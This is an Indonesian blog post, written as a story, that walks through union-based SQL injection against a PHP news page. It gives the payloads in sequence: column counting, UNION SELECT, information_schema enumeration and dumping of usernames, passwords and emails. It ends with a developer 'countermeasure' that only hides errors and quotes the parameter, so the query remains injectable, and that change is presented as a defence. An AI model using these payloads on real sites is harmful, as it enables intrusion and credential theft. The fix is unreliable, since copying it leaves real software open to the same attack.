Attacker Vs Developer Website Part 2

Attacker Vs Developer Website Part 2




Cerita ini di awali oleh sang attacker yang mencari celah sebuah website yang di buat oleh si Developer
setelah mengecek website tersebut sang attacker mnemukan celah ( bug ) yang amat fatal pada website yang di buat developer
sang attacker menemukan celah SQL Injecton pada website si developer
celah SQL Injection ini teramat fatal karena sang attacker mampu memsukan sebuah injeksi untuk melihat isi dari database website tersebut. celah SQL Injection itu sendiri terjadi ketika sebuah request di website yang langsung masuk ke dalam query SQL website tersebut sehingga sang attacker mampu memanipulasi injeksi guna melihat data-data sensitif pada database semisal username dan password si database tersebut.
cerita kembali kepada sang Attacker yang menemukan celah SQL Injection tersebut pada detail berita pada web si developer

berita.php?id=1
si attacker mengetahui bahwa url itu bug dengan cara menambahkan tanda ‘ pada akhir atau awal dari nilai id
berita.php?id=1'
ketika di masukan tanda itu website pun meresponnya dengan mengeluarkan error dan itu bisa di katakan vuln
setelah mengetahui bahwa itu vuln maka sang Attacker pun melanjutkan aksinya dengan menambahkan perintah order by yang berfungsi untuk mencari jumlah kolom
berita.php?id=1 order by 1 — true
berita.php?id=1 order by 7 — true
berita.php?id=1 order by 10 — true
sampai pada angka yang mengeluarkan error
sang attacker sengaja meloncat-locat angkanya di kakrenakan untuk mempersingkat waktu
berita.php?id=1 order by 11 — eror
jadi attacker berkesimpulan bahwa ada 10 kolom yang di gunakan untuk menampilkan sebuah artikel
sekarang sang attackker melanjutkan untuk melihat kolom mana yang di gunakan untuk mengeluarkan data pada website tersebut dengan cara menyisipkan union select dan di ikuti jumlah kolom
berita.php?id=1 union select 1,2,3,4,5,6,7,8,9,10 —
sehingga web otomatis merespon dengan mengeluarkan angka yang si sebutkan karena angka tersebut mewakili tap kolom pada tabel yang di gunakan dan pada kasus ini web si developer mengeluarkan angka 4
kenapa kok bisa muncul 4
seperti yang saya katakan tadi tiap nomor mewakili tiap kolom pada tabel tersebut
sesungguhnya urutan kolom pada tabel tersebut adalah
id,user_id,kategori_id,content,tag,dan seterusnya
1,2,3,4,5, dan seterusnya
nah di website si developer untuk mengeluarkan isi dari artikel tersebut kan dengan script
<?php
echo $artikel[‘content’];
?>
dan content terwakili oleh angka 4
setelah menemukan kolommana yang di gunakan kemudian sang attacker menambahkan perintah version() digunakan untuk melihat versi dari mysql yang di pakai developer. mengapa ini di lakukan ?
karena jika mysql versinya di bawah 5 maka langkah selanjutnya akan berbeda. apa perbedaannya ?
perbedaannya ialah setelah menemukan kolom mana yang di gunakan ketika mysql versi di bawah 5 maka sang attacker di haruskan menebak nama-nama tabelnya di karenakan perintah information_schema di masukan kedalam mysql pada versi selanjutnya ( mysql version 5.0 keatas ) namun kalau setelah memasukan perintah version() dan keluar versi 5 maka sang attacker hanya memasukan perintah seperti di bawah ini
berita.php?id=1 union select 1,2,3,group_concat(table_name),5,6,7,8,9,10 from information_schema.tables where table_schema=database() —
setelah itu website merespon dengan mengeluarkan semua nama tabel yang berada di database tersebut
user,artikel,kategori, dan lain lain
setelah mendapatkan nama tabel, dan menentukan mana tabel yang ingin di lihat datanya sang attacker pun melanjutkan aksinya dengan melihat nama kolom pada tabel yang di incar, pada kasus ini sang attacker mengincar tabe user, dan sang attacker pun memasukan query seperti berikut ini
berita.php?id=1 union slelect 1,2,3,group_concat(column_name),5,6,7,8,9,10 from information_schema.columns where table_name=0x75736572 —
75736572 adalah hexa dari user, selain memakai hexa terkadang sang attacker juga memakai mysqlchar atau hanya dengan menambahkan ‘user’
setelah memasukan perintah tersebut website pun meresponnya dengan mengeluarkan nama kolom pada tabel user
id,nama,username,password,email,akses,trash
nah pada kasus ini sang attacker hanya ingin melihat isi dari username dan password untuk melihat isi dari username dan password sang attacker pun menyisipkan query sebagai berikut
berita.php?id=1 union slelect 1,2,3,group_concat(username,0x3a,password,0x3a,email),5,6,7,8,9,10 from user —
0x3a adalah hexa dari : yang di gunakan sang attacker untuk memisahkan data mana yang username dan mana yang password
setelah itu website pun merespon perintah itu dengan mengeluarkan data username dan password serta email website tersebut
keesokan harinya si developer pun memulai kesehariannya dengan kebiasaan paginya yaitu mengecek web, betapa terkejutnya si developer melihat log pada webnya bahwa malam kemarin ada seseorang yang berhasil masuk ke webnya dan si developer pun langsung mengetahui celah webnya dengan melihat error log pada website tersebut
bug tersebut memang murni dari kelalaian sang developer yang tak memfilter request yang masuk pada webistenya velah tersebut terletak pada scirpt berikut
<?php
include(‘db.php’);
$id = $_GET[‘id’];
$query = “SELECT * FROM artikel where id=$id”;
$result = mysql_query($query);
$artikel = mysql_fetch_array($result);
echo $artikel[‘content’];
?>
untuk mengakalinya sang developer pun berinisiatif untuk mengelabuhi sang attacker dengan cara menghilangkan error pada halaman tersebut yaitu dengan cara mengubah script menjadi
<?php
@ini_set(‘display_errors’,0);
include(‘db.php’);
$id = $_GET[‘id’];
$query = “SELECT * FROM artikel where id=’$id’”;
$result = mysql_query($query);
$artikel = mysql_fetch_array($result);
echo $artikel[‘content’];
?>
@ini_set(‘display_errors’,0);
script ini berfungsi untuk menghilangkan error pada halaman tersebut kemudian sang developer juga menambahkan ‘’ pada
where id=’$id’ guna untuk mengelabuhi sang attacker agar tak menemukan jumlah kolom pada tabel tersebut sehingga ketika sang attacker menyisipkan perintah order by maka nilai yang di hasilkan tak berujung meskipun order by tersebut nilainya 100000

Anda mungkin menyukai postingan ini